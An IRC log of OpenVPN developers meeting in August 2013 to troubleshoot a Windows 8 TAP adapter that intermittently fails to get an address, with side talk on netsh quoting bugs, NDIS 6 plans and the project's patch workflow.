02:45 <@mattock> you could poke him again? 03:27 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 03:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:12 <@plaisthos> Designing icons is hard :( 05:05 <@d12fk> he got back to me, hopefully he can come up with something better 05:59 <@mattock> nice! 05:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:22 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:22 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 10:22 -!- mattock_afk is now known as mattock 10:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:23 -!- raidz_away is now known as raidz 10:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:47 -!- raidz is now known as raidz_away --- Day changed Thu Aug 08 2013 01:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 01:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:14 -!- dazo_afk is now known as dazo 08:32 <@mattock> new windows installer building 09:13 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn-devel 09:13 < derRichard> !meetings 09:13 < vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 09:13 < derRichard> dazo: is a meeting scheduled for today? 09:46 <@mattock> yeah, I'm sure we got stuff to discuss, but who could attend a meeting today? 09:46 <@mattock> cron2 said a few days ago that he could attend 09:46 <@mattock> I could attend 09:49 < syzzer> I could too 09:49 < syzzer> just returned from a week afk 09:50 <@d12fk> syzzer: how was OHM? 09:51 < derRichard> if a meeting happens, can we please have a look at this issue: http://article.gmane.org/gmane.network.openvpn.user/34245 09:51 < vpnHelper> Title: Gmane -- Windows 8 issue: TUN TAP adapter does not start (at article.gmane.org) 09:51 < derRichard> openvpn seems to have massive problems on win8 09:52 < syzzer> d12fk: I had a good time at OHM. Nice weather, interesting talks and cold beer -> me happy 09:55 <@d12fk> syzzer: cool. =) 10:04 <@mattock> derRichard: I will mention about this to jamesyonan 10:04 <@mattock> he's they guy behind the TUN/TAP driver 10:04 <@mattock> and he's been talking about these issues for a while 10:04 < derRichard> thanks a lot. if there is anything i can do, please tell. i'm capable of c 10:07 <@mattock> derRichard: can you attend the meeting? I have a feeling we probably have it, unless everybody else here wants to skip it 10:08 < derRichard> yes. 18 utc? 10:08 < derRichard> so, in 3h? 10:11 <@mattock> yep, 3 hours 10:12 < derRichard> ok 10:13 <@pekster> fwiw, I did some basic testing in the last developper release of Win8 prior to RTM, and openvpn ran fine on a few of the configs I had at the time 10:13 <@pekster> You can try tweaking the --ip-win32 and --route methods to see if you get differnet results on some combination 10:14 < derRichard> pekster: all my win8 customers have problems. out of 10 connections 3-5 fail. 10:14 < derRichard> i've already tweaked --ip-win32/--route nothing helped 10:17 <@pekster> Tried seeing if dynamic, netsh, and ipapi with any changes? I can't recall if I tested with my prior config (where I seem to have used --ip-win32 dynamic --route exe) or if I just left it all off using the defaults 10:17 < derRichard> no changes at all :( 10:18 <@mattock> derRichard: any ideas if this is related: https://community.openvpn.net/openvpn/ticket/207 10:18 < vpnHelper> Title: #207 (Windows 7 x64: KB2688338 affect the TAP interface) – OpenVPN Community (at community.openvpn.net) 10:18 <@mattock> here's the proposed topic list: https://community.openvpn.net/openvpn/wiki/Topics-2013-08-08 10:18 < vpnHelper> Title: Topics-2013-08-08 – OpenVPN Community (at community.openvpn.net) 10:19 <@pekster> It might be interesting to see if you get the DHCP reply if you use tshark (or wireshark, if you prefer) that the drivers are supposed to send back to the kernel in response to the DHCP discsover request 10:19 < derRichard> pekster: i don't see any dhcp packets on the tap. nothing 10:20 <@pekster> That's actually a problem, becuase your OS is supposed to send them out 10:20 <@pekster> OpenVPN (by way of the tap system) merely responds to the OS's native desire to "obtain an address" -- is the adapter set to that? 10:20 <@pekster> Let me just double-check that it does what I expect locally before insisting you should see them 10:20 < derRichard> yes. the adapter is set to dhcp 10:21 < derRichard> all i see is "Route: Waiting for TUN/TAP interface to come up.." over and over 10:21 < derRichard> also raising the timeout did not help 10:21 < derRichard> in case of the error it never comes up 10:22 <@mattock> cron2, dazo, plaisthos, d12fk: can you join today's meeting? topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2013-08-08 10:22 < vpnHelper> Title: Topics-2013-08-08 – OpenVPN Community (at community.openvpn.net) 10:22 <@mattock> I'm trying to recruit James too, as he's the TUN/TAP driver author 10:29 <@cron2_> mattock: we have a meeting today? when? 10:29 <@mattock> the usual time 10:29 <@cron2_> 2:31 from now? 10:29 <@mattock> yeah 10:29 <@mattock> that's the plan at least 10:30 <@cron2_> surprisingly, I'm here :-) 10:30 <@cron2_> (I just came home, and will have to leave in about 4:30 as I have some change at work to do...) 10:31 <@mattock> ah, changes... our common enemy 10:31 <@pekster> derRichard: So yes, in the 'dynamic' mode you should see the usual DHCP sequence: discover, offer, request, ack 10:32 <@cron2_> oh well, it's easy, just swapping an 8-port GE card to an 48-port card... but as customers are affected "don't do this before 23:00 local time" 10:32 <@plaisthos> mattock: I will try to semi attand from my tablet 10:32 <@mattock> plaisthos: semi-attend is fine :D 10:32 <@mattock> especially if it's a nexus 7 10:32 <@mattock> although nexus 7 is better if you've set the keyboard to the language you're typing 10:33 <@plaisthos> :D 10:33 <@mattock> it makes less idiotic "corrections" to the words 10:33 <@plaisthos> I am swype anyway 10:33 <@cron2_> 3G on my N7 seems to be broken, which makes it less useful :( 10:33 <@plaisthos> cron2_: :/ 10:33 <@mattock> surprisingly my N900 still works quite well 10:33 <@mattock> even 3G 10:33 <@mattock> it starts to be old (3,5 years) 10:34 <@plaisthos> swype was on my first Android phone and I refuse to learn a new keyboard ... ;) 10:34 <@cron2_> plaisthos: if the SIM card is in, it frequently restarts, or asks 3 times for the PIN in a row (and then reboots)... and I'm fairly sure it's not the SIM card. But I'm not going to play the warranty game (send in, wait 4 weeks, get device without data back, but "we did not find a problem", ...) 10:34 <@mattock> plaisthos: "changes... our common enemy" :P 10:36 <@plaisthos> cron2_: warranty game is different with google 10:36 <@plaisthos> cron2_: get a new one and send the old one in 10:36 <@plaisthos> at least for me 10:36 <@plaisthos> But my device is directly from google play store 10:37 <@cron2_> plaisthos: really? now that's definitely worth a try then :-) - I had this warranty game with a Nokia C5 that had a defective microphone (fairly easy to test for), and they sent it back *3* times before they gave me a new one 10:37 <@plaisthos> and not from Mediamarkt or similar 10:37 <@mattock> at one point I sent my N900 to the service with a complete link to bug report pointing the cause for my issue (funky WLAN chip) 10:37 <@cron2_> mine is from G as well 10:37 <@mattock> they changed the battery 10:37 <@cron2_> lol 10:37 <@mattock> yeah 10:37 <@cron2_> plaisthos: how do you backup/restore the N7 in this case? 10:38 <@mattock> then I sent it back, and the guy informed me that "if we send this to the factory, they will replace it with an N7 or something" 10:38 <@plaisthos> cron2_: you can try adb backup from a shell but that does not really backup everything 10:38 <@mattock> so I took it back and installed a custom kernel which fixed the issue almost 100% 10:38 <@mattock> -> food 10:38 <@cron2_> mattock: enjoy 10:38 <@mattock> let's see what I come up with today :) 10:39 <@plaisthos> best way to backup is probably if you have a rooted device to do a full dump of /data/ partition and restore that on the new tablet 10:39 <@plaisthos> backup/restore really sucks on android 10:39 <@cron2_> plaisthos: nah, not rooted, purposely "I don't want to hack on this, just use it" 10:39 <@plaisthos> yeah then adb backup is probably best you can do 10:39 <@cron2_> will try this 10:40 <@plaisthos> but be aware that most system settings are not backed up 10:40 <@plaisthos> like accounts and stuff 10:40 <@cron2_> why am I not surprised... 10:40 <@plaisthos> and app may define android:backup="false" 10:40 <@plaisthos> so you cannot backup their data 10:40 <@cron2_> the whole "accounts" thing is really unfinished 10:41 <@plaisthos> and of course private keys are not backed up 10:41 <@plaisthos> but that is impossible anyway :) 10:41 <@plaisthos> (at least on the 2012er Nexus 7 which has a hardware crypto module) 10:42 <@cron2_> yep, that's unavoidable :-) 10:43 <@plaisthos> and you will need to reinstall paid apps too 10:43 <@plaisthos> iirc these are also crypted with a hardware dependent key ... 10:43 <@cron2_> the lone paid app I bought, I returned straight away... some mobile office thingie that promised to be able to nicely view and present .ppt - which it did, but it took like 2 minutes per slide... 11:05 -!- raidz_away is now known as raidz 11:22 <@pekster> derRichard: Pretty typical, but here's the capture (minus all the IPv6 and Windows broadcast junk it likes to do) for a connection using --ip-win32 dynamic: http://cloudshark.org/captures/be3d6199c097 11:22 < vpnHelper> Title: CloudShark (at cloudshark.org) 11:23 <@pekster> And the NAK is just from the client asking for an IP on a different VPN (which the fake dhcp server naturally refuses) 11:45 < derRichard> pekster: i ran wireshark and saw nothing :( 11:46 < derRichard> and btw: it was not the first time i used wireshark :D 11:47 <@pekster> Then your OS isn't sending out (or the firewall is blocking) the DHCP request. The 'dynamic' method speciically waits for the OS to do that, so if it doesn't send a query, the tap system that replies never will 11:49 < derRichard> pekster: what i don't fully understand is the message "Route: Waiting for TUN/TAP interface to come up..." means. is the devices not present? not up in terms of ifdown? 11:49 <@cron2_> "is the device present and has the IP address we expect it to have" 11:49 <@cron2_> because if you set routes before that, they will end up pointing elsewhere 11:52 < derRichard> and why does openvpn not wait forever or at least terminate if the interface never comes up? currently we end up with a vpn connection but an unusable tap device. 11:54 <@pekster> The interface is "up" just not with an address, as far as the OS knows (like if you plug your ethernet NIC into a switch with nothing else on it... it's "up" just worthless) 11:54 <@pekster> In a bridged tap setup, for instance, you might actually want that (when openvpn doesn't serve the IPs) until the dead DHCP server comes back 11:54 <@pekster> OpenVPN tries not to assume what you want 11:54 <@pekster> IN this case, that's not helpful, but the real question is why you don't see the OS attempt to sollicit a DHCP IP 11:54 < derRichard> fair point 11:56 <@mattock> I will mail a nearly last minute meeting announcement to openvpn-devel 11:59 <@cron2_> has anyone seen dazo recently? 12:01 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn-devel 12:08 <@mattock> cron2: no, I don't think so 12:09 <@mattock> James is also awol 12:09 <@mattock> nobody has seen him during last week, lol :P 12:12 <@cron2_> "busy coding", I guess :) 12:31 <@mattock> could be 12:31 <@mattock> I think he has dug himself into a hole 12:31 <@mattock> :) 12:44 -!- jglick [~quassel@c-66-31-34-249.hsd1.ma.comcast.net] has joined #openvpn-devel 12:46 < jglick> hello—I just filed https://github.com/OpenVPN/openvpn/pull/6 and was wondering whether anyone looks at GH pull requests. Five others have been opened and never commented on by anyone other than the submitter. 12:46 < vpnHelper> Title: Send hostname to SOCKS5 server by jglick · Pull Request #6 · OpenVPN/openvpn · GitHub (at github.com) 12:46 <@pekster> jglick, development happens on the mailing-list, and pull requests are effectively ignored 12:47 < jglick> pekster: OK; is there a reason this GH repo even enables PRs then? 12:47 < jglick> and what is the best way to offer a patch for review? 12:47 <@pekster> https://community.openvpn.net/openvpn/wiki/Contributing 12:47 < vpnHelper> Title: Contributing – OpenVPN Community (at community.openvpn.net) 12:47 <@cron2_> jglick: I think it enables PRs because nobody knows that it's possible and can be turned off :-) 12:48 <@cron2_> I never look at the GH repo, I just push stuff there 12:48 < jglick> cron2_: ah. If you are the admin of the repo, you can select which services to enable or disable. 12:48 <@cron2_> jglick: the best way to get the patch reviewed is to send it to openvpn-devel 12:48 <@cron2_> mattock: are you listening? You're the owner :) 12:48 <@cron2_> openvpn-devel@lists.sourceforge.net, that is 12:48 < jglick> OK. Probably someone should go through #1–5 and comment with a link to https://community.openvpn.net/openvpn/wiki/Contributing 12:48 < vpnHelper> Title: Contributing – OpenVPN Community (at community.openvpn.net) 12:49 * cron2_ points at mattock 12:52 <@mattock> who, me? 12:53 <@mattock> ah, GitHub pull requests 12:54 <@pekster> mattock: FYI, since I couldn't add a URL to the manpage for the awk magic, I linked it to !man2html in this channel's bot 12:54 <@pekster> I thought about an HTML comment, but then I'd need awk to include its own script in the output :P 13:00 <@mattock> ok, time to start 13:01 <@mattock> who's here? 13:01 <@mattock> topic here: https://community.openvpn.net/openvpn/wiki/Topics-2013-08-08 13:01 < vpnHelper> Title: Topics-2013-08-08 – OpenVPN Community (at community.openvpn.net) 13:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 * derRichard is here 13:02 <@mattock> hi derRichard! 13:02 <@mattock> hi jamesyonan! 13:02 <@jamesyonan> hi mattock 13:02 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 13:02 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 13:02 <+novaflash> *waves* 13:02 <@mattock> so today's main topic is Win8 tun/tap issues 13:03 <@mattock> and as Jamesyonan is the author of TUN/TAP driver, he's probably the best guy to help solve those 13:03 <@mattock> jamesyonan: did you have a look at the linked email thread? 13:03 <@raidz> side note> in regards to that ml post, I have seen two occurrences of this issues on different machines 13:03 <@mattock> jamesyonan: fyi: derRichard is the guy who reported this, and he's here now 13:03 * syzzer waves too 13:03 <@mattock> raidz: that's not a side-note then 13:04 <@mattock> it's highly on-topic :) 13:04 <@raidz> lol 13:05 <@jamesyonan> this looks more like an issue with TAP address assignment than with the tap adapter itself 13:06 <@cron2_> uh, I'm here too, got distracted 13:06 < derRichard> jamesyonan: playing with --ip-win32 did not help at all 13:06 <@raidz> hey cron2 13:06 <@mattock> hi cron2 13:06 < derRichard> jamesyonan: i see this issue not always but 2-4 times out of 10 connections attempts 13:07 <@raidz> derRichard: I have noticed that same frequency 13:07 <@mattock> raidz: do you have further info on this issue? e.g. internal bug reports or something 13:07 <@raidz> consistently inconsistent 13:07 < derRichard> after a reboot it works most of the time but aso not always 13:07 <@jamesyonan> did you try route-method netsh? 13:07 <@raidz> mattock: you have seen everything internal 13:08 < derRichard> jamesyonan: yes. also without success 13:08 <@raidz> I have never seen this issue happen in a vm env only on physical hardware, not sure if that means anything or just by chance 13:11 <@mattock> raidz,derRichard: does this happen on all Win8 instances, or only some? 13:12 < derRichard> mattock: so far only two of my customers are using win8. both face the issue 13:12 <@mattock> also, could this be related: https://community.openvpn.net/openvpn/ticket/207 13:12 < vpnHelper> Title: #207 (Windows 7 x64: KB2688338 affect the TAP interface) – OpenVPN Community (at community.openvpn.net) 13:12 < derRichard> btw: on win7 i've never seen that 13:12 < derRichard> most of my custeroms use win7 or xp 13:12 < derRichard> *customers 13:13 <@mattock> derRichard: are customers using physical computers with win8 or virtual machines? 13:13 < derRichard> physical 13:13 <@mattock> ok 13:13 <@raidz> mattock: for me, only some 13:13 <@mattock> raidz: only some physical you mean? 13:13 <@raidz> like right now, I am on Windows Server 2012 and don't have this issue 13:13 <@mattock> and no virtual (if that is not a coincidence) 13:13 <@raidz> and my personal laptop, don't have issue (Windows 8) 13:13 < derRichard> mattock: i hade one of these computers in my office. fresh installed, no crapware, all updates installed. but still faced the issue 13:13 <@raidz> Virtual, I have never had a problem 13:14 <@raidz> however, my peronal laptop and win 2012 server, I am running pre 2.3 13:14 <@raidz> lemme check version 13:14 <@mattock> jamesyonan: any clues what might be happening? 13:14 <@raidz> 2.2.2 13:15 <@pekster> The odd thing I noted from earlier discussion too was that with --ip-win32 dynamic, derRichard was reporting no DHCP discover being sent by the OS 13:15 <@mattock> pekster: repeatedly? 13:15 <@pekster> netsh issues asside, it's strange that the OS isn't even "trying" to get an IP 13:15 <@jamesyonan> no ideas at this point 13:15 <@pekster> I'm not sure, ask derRichard who tested it. Works fine for me on Vista x64 with 2.3.2 (all I have on metal atm) 13:15 <@mattock> jamesyonan: any ideas how to debug this further? 13:16 <@mattock> can we build a debugging version of the TAP-driver or something? 13:16 <@raidz> I am not trying to say this is only related to physical, maybe it is an issue with virtual too, but I have just never seen it happen on virtual 13:17 <@jamesyonan> yes, you could certainly try debug build of TAP-driver -- if the problem is related to the DHCP handshake it might show up here 13:18 <@mattock> ok, we'll start with that, then 13:18 <@mattock> raidz: what is the status of the Windows TAP-driver build computer (a.k.a. jupiter)? 13:18 < derRichard> okay. i'll try to reproduce it within virtualbox 13:18 <@raidz> mattock: lets ask novaflash 13:18 <@mattock> derRichard: sounds good 13:18 <+novaflash> hello 13:19 <@mattock> good to get this narrowed down 13:19 -!- jglick [~quassel@c-66-31-34-249.hsd1.ma.comcast.net] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.] 13:19 <+novaflash> what do you need? 13:19 <@raidz> novaflash: status on jupiter migration to testing 13:19 <+novaflash> *checks* 13:19 <@jamesyonan> the problem is that if route-method netsh is also not working, it seems to point away from DHCP as being the culprit 13:19 <+novaflash> it's still copying to the new server 13:19 <+novaflash> in a few hours, it should be working 13:19 <@jamesyonan> have you looked at route-delay or tap-sleep? 13:20 <@mattock> novaflash: let me know when jupiter is migrated and I'll see if I can access it 13:20 <+novaflash> mattock: okay. i mayn eed to coordinate with david for ip addressing space and access to it and such 13:20 <@mattock> novaflash: I'll make a note of that 13:20 <@raidz> novaflash: david can get that taken care of pretty quick 13:21 <@jamesyonan> does route-method netsh fail always or intermittently? 13:21 <@pekster> If netsh fails, shouldn't the logs give a status code too? Maybe it's un-helpful like "status 1" or something 13:22 < derRichard> jamesyonan: hmm. IIRC netsh method failed always 13:22 < derRichard> but i'm not sure anymore. 13:22 <@pekster> You should see a log entry (f.eg with --ip-win32) like: NETSH: C:\Windows\system32\netsh.exe interface ip set address vpn0 static 172.19.43.230 255.255.255.224 13:23 <@pekster> The curious thing would be to try the "manual" method and use those same commands from an elevated prompt to try and pin down if it's a syntax issue, or something specific to openvpn 13:23 <@pekster> Or just intermittently fails with a prompt too? 13:25 <@pekster> I think there's also an open bug for device names with international characters in them 13:25 <@mattock> made this a "proper" bug report so it doesn't get lost so easily 13:25 < vpnHelper> RSS Update - tickets: #316: Windows 8 issue: TUN/TAP adapter does not start <https://community.openvpn.net/openvpn/ticket/316> 13:25 <@mattock> (thank you, vpnHelper) 13:25 <@pekster> Spaces work fine, like the default Local Area Connection 5 or w/e, but an accented letter does not. I tried patching the code to use a \" sequence around the device, but the windows-version of printf seems to strip out my quote :\ 13:26 <@pekster> (speaking of ways that netsh breaks, anyway. Slightly different bug/topic, so I won't detract form the win8 stuff if there was more to be said) 13:26 < derRichard> my TUN/TAP adapter is named "Lan Verbindung 2" (German for Local Area Connection 2) 13:26 <@pekster> No accented characters though? (IIRC that's consistently failing now) 13:26 < derRichard> no. plain ascii 13:27 < derRichard> i tried also renaming it to "TAP". did not solve the issue 13:28 <+novaflash> derRichard: what OS is this on, windows 7 HP ? 13:29 < derRichard> novaflash: no, Windows 8 32bits 13:29 <+novaflash> okay i have a test machine for that as well 13:29 <+novaflash> so i can reproduce it simply by installing openvpn 2.3 and renaming the tap adapter? 13:29 * novaflash shudders at metro interface 13:30 <@pekster> The foreign-language bug, yes. That's not derRichard's issue though. https://community.openvpn.net/openvpn/ticket/309 13:30 < vpnHelper> Title: #309 (ip-win32 netsh issue on Korean and Japanese Windows OS) – OpenVPN Community (at community.openvpn.net) 13:30 <@cron2_> eek 13:30 <@pekster> I should add a comment to #309 as I did confirm that one locally (Vista x64) 13:31 < derRichard> pekster: yes. sorry novaflash for the confusion. 13:31 <@pekster> I tried to poke at a fix briefly, but the win32 (mingw I guess?) version of printf is doing things differently than the *nix version does with my quotes 13:31 <+novaflash> derRichard: i don't mind, i just want to reproduce it now 13:33 <+novaflash> heh i guess nobody ever fixed that bug where if you try to start openvpn gui without admin rights first time it screams "unable to create registry keys" 13:33 <@cron2_> pekster: could be completely unrelated to printf, but something about 8bit and utf-16 APIs and string handling 13:33 < derRichard> novaflash: i saw that one :D 13:33 <@pekster> Well, even the quote itself gets lost 13:33 <@pekster> Just \" in the string, fwiw 13:33 <@cron2_> novaflash: I *think* mattock covered that one 13:34 <@mattock> novaflash: yeah, that's been fixed, but not release yet 13:34 <+novaflash> cron2_: i just downlo... oh. 13:34 <+novaflash> okay 13:34 <+novaflash> :-D 13:34 <@mattock> I created a OpenVPN-GUI installer that handles that 13:34 < derRichard> BTW: we (my company) are working on a new windows ui for openvpn. in a few months we will release it under gpl. 13:34 <+novaflash> neat 13:35 <@mattock> it's in openvpn-gui git repo now, but no openvpn version yet uses it 13:35 <@cron2_> mattock: ah! seems we really need to release a new windows version soon :-) 13:35 <+novaflash> derRichard: will it be pretty? screenshots? 13:35 <@mattock> derRichard: ah, let me know when that happens 13:35 <@mattock> cron2: yep, except that it needs some serious testing in the field 13:36 <@mattock> or otherwise the "stable" release of openvpn 2.3.3 (or something) might be horribly broken for 90% of the userbase 13:36 < derRichard> novaflash: it is in a very early stage. but it will be pretty. 13:36 <+novaflash> mattock: you know how programs in windows can have shortcuts that you can assign the "run as administrator" flag? perhaps that would make sense on openvpn gui shortcuts. or perhaps that is what you did? 13:36 <@pekster> Applications can also set the "needs admin rights" thing in their manifest 13:37 <@pekster> Then if admins (but not "elevated") executaiton takes place, it'll prompt 13:37 <+novaflash> that might be better 13:37 <+novaflash> i still get tickets weekly about the hklm error 13:37 <@cron2_> there's also the openvpn interactive service that d12fk has developed, that enables GUI *and* openvpn.exe to run without privileges... 13:37 < derRichard> mattock: yeah. we'll release a beta version as soon as possible. in fact, many of our customers have problems with the look&feel of the current ui. 13:37 <@cron2_> ... unfortunately, it's not finished yet... 13:38 <@mattock> novaflash: not sure, but executable's manifest file can have RequestExecutionLevel administrator or whatever 13:38 <+novaflash> mattock: that might be wise since openvpn gui cannot function at all without admin rights 13:38 <+novaflash> and the installer that we still have online right now just does not ask for admin rights 13:39 <@mattock> I think it can, but you need some "network operator" rights 13:39 <+novaflash> even the simplest thing like adding a route requires admin rights 13:39 <@mattock> to create the routes 13:39 <+novaflash> okay well it's not doing that either 13:39 <+novaflash> lol 13:39 <@mattock> not sure about superuser/admin rights 13:39 <@mattock> yeah, it's not atm 13:39 <@mattock> derRichard: did you notice jamesyonan's suggestion above: --tap-sleep and --route-delay? 13:40 * derRichard looks 13:40 <@pekster> And someone used it to control the services instead with some registry tweaks. IIRC there's also a way to tell the application manifest to ask for the "highest available rights" when run, so if the user is an admin it'll prompt, otherwise not (if a site is using the Network Operators group, for instance) 13:40 <@pekster> I'm not well-versed in MSVC-fu, though 13:41 < derRichard> jamesyonan: i tried --route-delay, it did not help. even afer minutes the tap was still down. but i did not try --tap-sleep 13:41 <@mattock> derRichard: can you try --tap-sleep also? 13:41 < derRichard> no, but i'll next time 13:42 < derRichard> i really hope it helps :D 13:42 <@mattock> ok 13:42 <@mattock> ok, so a summary of this topic: 13:42 <@mattock> here: https://community.openvpn.net/openvpn/ticket/316#comment:1 13:42 < vpnHelper> Title: #316 (Windows 8 issue: TUN/TAP adapter does not start) – OpenVPN Community (at community.openvpn.net) 13:43 <@mattock> whatever the cause, I will build a debug version of the TAP-Windows driver for future use 13:43 <@mattock> if that will give us more info on this then it's good 13:43 <@raidz> mattock: I still have one of the problem machines (old laptop sitting on my office floor) anything you guys need tested can be done 13:43 <@mattock> raidz: ok 13:43 <@raidz> I can even bring it here and get it on our office network and you guys can remote in 13:43 <@mattock> raidz: that'd be really nice! 13:43 <@raidz> this issue is reproducable on that laptop 13:44 <@raidz> I will bring it in tomorrow 13:44 <@mattock> ok, let me know when the lappy is online 13:44 <@raidz> and give you ip 13:44 <@raidz> sounds good 13:44 <@mattock> jamesyonan: could you take a stab at the problem laptop at some point? 13:45 <@jamesyonan> there's a related issue here -- Microsoft is phasing out NDIS 5 (which the current TAP adapter uses) in the version of Windows after 8.1. 13:45 <@jamesyonan> So we need to update the driver to NDIS 6. 13:45 <@mattock> derRichard, raidz: can you add whatever further info you have here: https://community.openvpn.net/openvpn/ticket/316 13:45 < vpnHelper> Title: #316 (Windows 8 issue: TUN/TAP adapter does not start) – OpenVPN Community (at community.openvpn.net) 13:45 <@mattock> jamesyonan: yeah, that one also 13:45 < derRichard> novaflash: ok 13:45 <+novaflash> derRichard: ? 13:45 <@mattock> jamesyonan: do you have any plans/timeline for upgrading the tap-windows driver to NDIS 6? 13:45 < derRichard> novaflash: whoops 13:46 < derRichard> wrong nick 13:46 <+novaflash> i like my nick :( 13:47 <@jamesyonan> not sure I would be the right person -- I haven't used windows in years 13:47 <@raidz> mattock: if this is really important I can go home on lunch and grab that latop 13:47 <@raidz> *laptop 13:47 <@pekster> cron2_: I tried this, and it did something totally weird like keep the quotes but *not* include the %s for the device name: http://fpaste.org/30912/87632137/raw/ 13:47 <@mattock> raidz: I have to go to sleep soon, so it's not _that_ important for me 13:47 <@raidz> haha, ok, who will need access to this? 13:47 < derRichard> jamesyonan: i thought you are the developer of the windows tuntap driver? 13:47 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 13:47 <+novaflash> raidz: just everyone that wants your files. 13:48 <@raidz> i was just going to put it on private network, but can give it a public ip if necessary for other community members 13:48 <@pekster> cron2_: I'll just save the detailf for later now that I was reminded about the bug so I can come up with useful info: the tl;dr is that single and double quotes both failed amazingly, and the %s seemed to 'get lost" 13:48 <@raidz> my files will be gone 13:48 <@raidz> lol 13:48 <@cron2_> pekster: uh, argv_printf() is not printf(), it's special anyway (and does not need quoting) 13:48 <+novaflash> raidz: maybe teamviewer or something? 13:48 <@raidz> won't work 13:48 <@raidz> teamviewer will probably cut out 13:48 <@pekster> cron2_: Rigth, but the *OS* is the one that needs it 13:48 <@cron2_> it builds an argv[] vector, which is basically doing the "quoting" 13:48 <+novaflash> raidz: oh due to commercial/noncommercial use of tv? 13:49 <@raidz> nope, route stuff 13:49 < swg0101> haha 13:49 <@pekster> cron2_: netsh [blah] Local Area Connection 5 works, but `netsh [blah] überdev [more blah]` does not 13:49 <+novaflash> right 13:49 <@raidz> unless its split tunnel 13:49 <@raidz> it will die 13:49 <@pekster> You need to pass the OS "überdev" and then it works 13:49 <@cron2_> pekster: OSes usually need the quotes to avoid shells (etc) breaking arguments with whitespace - in that case, I expect the issue to be with the CLI and UTF16 or so 13:49 <@pekster> Ah, k 13:49 <@cron2_> mmmh 13:49 <@cron2_> I think you'll need to mangle "actual" to contain the quotes 13:50 <@jamesyonan> well the fundamental problem with developing/fixing the TAP driver is that Windows is a black box 13:50 <@cron2_> %s basically instructs argv_printf() to take "this string" and use it for a new argv[] entry 13:50 <@pekster> cron2_: Well, maybe. The win32 stuff is running this all through cmd.exe anyway, right? 13:50 < swg0101> jamesyonan: would it be easier to use netsh than DHCP then? 13:50 <@cron2_> pekster: no, exec() (-ish windows api) 13:51 <@raidz> swg0101: Thats what I was thinking 13:51 <@raidz> isn't that what ms prefers use of? 13:51 <@cron2_> pekster: try sprintf( actual_with_quotes, "\"%s\"", actual ) and passing actual_with_quotes to argv_printf(), to see what happens 13:51 < swg0101> I always always found netsh be more reliable in terms of setting IP settings and such 13:51 <@raidz> yep 13:51 < swg0101> and makes the connection process way more faster 13:51 < swg0101> although I don't think in the current implementation the DNS servers are set 13:52 <@raidz> I am pretty sure ms suggests using that in newer versions 13:52 <@jamesyonan> the problem is that Windows has no VPN API, unlike every other major OS 13:52 <@pekster> swg0101: There's a DNS method to the netsh interface, yes 13:53 < swg0101> sometimes setting the DNS servers in XP using netsh is a lil slow, but I think overall the speed should be faster than using DHCP 13:53 <@pekster> eg: http://fpaste.org/30915/13759879/ 13:53 < swg0101> is that already in OpenVPN? 13:54 <@pekster> Yes, this is 2.3.2 (IIRC netsh support has been there longer than that -- you'd need git blame to see when) 13:54 < swg0101> yeah, I used netsh a lil back in 2.2 13:54 <@cron2_> netsh has been there since before I started, that is "2.0" 13:54 < swg0101> but don't rem it setting the DNS servers correctly 13:54 < swg0101> havent really tested it since 13:54 < swg0101> it sets the IP okay though 13:55 < swg0101> but the DNS didn't work 13:55 < swg0101> I have to manually go and set those 13:56 <@jamesyonan> has anyone succeeded in using netsh to make TAP driver succeed on Windows 8? 13:56 < swg0101> good question - I havent tested this myself 13:57 < swg0101> got scared of Windows 8 and reverted back to 7 13:57 < swg0101> but as soon we get some VMs up, we could give that a whack 13:57 <@mattock> swg0101: I feel you might be a good person to try figuring this out on raidz's unhappy lappy with this bug 13:57 <@mattock> :) 13:57 <@pekster> If my Win8 Preview VM still lets me log in I can test netsh quick (but MS might have killed it after a time) 13:58 <@raidz> :-D 13:58 < swg0101> planning to also do Win8.1 preview on testing as well 13:59 < derRichard> guys, it's 9pm here in .at, i have to go now. thanks a lot and cu! :-) 13:59 < swg0101> but I will report back once I got some results :D 14:00 < swg0101> still getting all the Windows instances sorted 14:01 <@mattock> derRichard: bye! keep the bug report updated on any new findings, please! :) 14:01 < derRichard> will do 14:01 <@mattock> swg0101: great, thanks a lot! 14:01 <@mattock> swg0101: if you can, please update the bug report 14:01 <@mattock> you need a community user account if you don't have one, but that's really easy, no email loops even 14:01 <@raidz> swg0101: are you going to test this on a vm? 14:02 < swg0101> yep, any suggestions? 14:02 <@raidz> swg0101: are you just testing netsh commands? 14:02 <@raidz> swg0101: I will pick up my problem machine at lunch 14:02 < swg0101> I am prob gonna test the different openvpn versions with 8 14:02 < swg0101> and see what I see 14:02 <@raidz> based on my previous tests, you may not run into this issue in a vm 14:02 <@raidz> but still try to repro it 14:02 <@mattock> swg0101: it's not 100% broken at least, but probably there are major issues 14:03 < swg0101> but yeah, I haven't seen issues when I was running Win8 on my laptop 14:03 < swg0101> but I do see people complaining on PT about this from time to time 14:03 <@mattock> "Swg0101 will try to reproduce this on various Windows 8 and 8.1 VMs and raidz's laptop." 14:03 <@mattock> 